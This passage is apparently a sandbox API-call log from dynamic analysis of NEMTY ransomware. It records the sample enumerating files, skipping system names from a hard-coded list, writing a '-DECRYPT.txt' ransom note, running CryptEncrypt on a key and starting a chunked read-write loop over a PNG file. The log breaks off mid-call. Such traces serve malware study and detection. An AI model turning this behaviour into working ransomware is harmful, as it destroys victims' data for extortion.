[0066.628] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9d6750, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xda9d6750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xda9d6750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0066.628] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0066.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0066.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94348 | out: hHeap=0x4f90000) returned 1 [0066.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0066.629] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Memories", cAlternateFileName="")) returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2=".") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="..") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="...") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="windows") returned -1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="$RECYCLE.BIN") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="rsa") returned -1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="NTDETECT.COM") returned -1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="ntldr") returned -1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="MSDOS.SYS") returned -1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="IO.SYS") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="boot.ini") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="boot.ini") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="AUTOEXEC.BAT") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="ntuser.dat") returned -1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="desktop.ini") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="CONFIG.SYS") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="RECYCLER") returned -1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="BOOTSECT.BAK") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="bootmgr") returned 1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="programdata") returned -1 [0066.631] lstrcmpiW (lpString1="Memories", lpString2="appdata") returned 1 [0066.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0066.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memories", lpUsedDefaultChar=0x0) returned 8 [0066.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0066.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memories", lpUsedDefaultChar=0x0) returned 8 [0066.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0066.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0066.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0066.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0066.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0066.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0066.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0066.632] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0066.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0066.634] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.634] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0066.635] CloseHandle (hObject=0x3cc) returned 1 [0066.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0066.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0066.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0066.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0066.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0066.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0066.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0066.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0066.635] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0066.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0066.636] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.636] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0066.637] CloseHandle (hObject=0x3cc) returned 1 [0066.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0066.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0066.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdb5bd550, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdb5bd550, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0066.638] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0066.638] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdb5bd550, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdb5bd550, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0066.638] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0066.638] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0066.638] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2=".") returned 1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="..") returned 1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="...") returned 1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="windows") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="$RECYCLE.BIN") returned 1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="rsa") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="NTDETECT.COM") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntldr") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="MSDOS.SYS") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="IO.SYS") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="boot.ini") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="boot.ini") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="AUTOEXEC.BAT") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntuser.dat") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="desktop.ini") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="CONFIG.SYS") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="RECYCLER") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="BOOTSECT.BAK") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootmgr") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="programdata") returned -1 [0066.638] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="appdata") returned -1 [0066.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0066.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0066.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0066.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0066.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0066.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0066.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0066.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0066.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0066.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0066.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0066.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0066.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0066.639] Sleep (dwMilliseconds=0x5) [0066.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb5e36b0, dwHighDateTime=0x1d561e7)) [0066.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb5e36b0, dwHighDateTime=0x1d561e7)) [0066.641] GetLastError () returned 0xb7 [0066.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.641] GetLastError () returned 0xb7 [0066.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0066.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0066.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0066.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0066.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0066.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="XWnrTkzXSwgblHD0BpuDoLI/roHzJ3cKC+jvTNxFOjq9G5o12VV2zaejT+3JNJ8V\r\ndx+ucehSFdLVBX+5DHKMaIHaTcX6eVSDE5bocYSfTfoq5c1473yi4F+ylBZJEYVz\r\nGx2/MUoWdpNqftVmtq+7HMfHqxoNYKErWqpSXRQtsMql341L28/nVE3pYjgkJ3zv\r\nvkBU4ymkn/CZ3q0Y4hrcsiHrBhjKJDvB3sqrb+f04TySD1mE1Z/H0M6IrXy/q5bM\r\nVMczoIzyUwtRKACaET7IyoRcXeQdekalXFSm+oi19LVTctYBH6WPnw22EF+rHZVh\r\nzV5DNCVGp9W/TjwfofS7FA==\r\n", pcchString=0x653e91c) returned 1 [0066.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0066.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0066.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0066.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0066.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0066.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0066.642] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.642] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0066.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0066.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 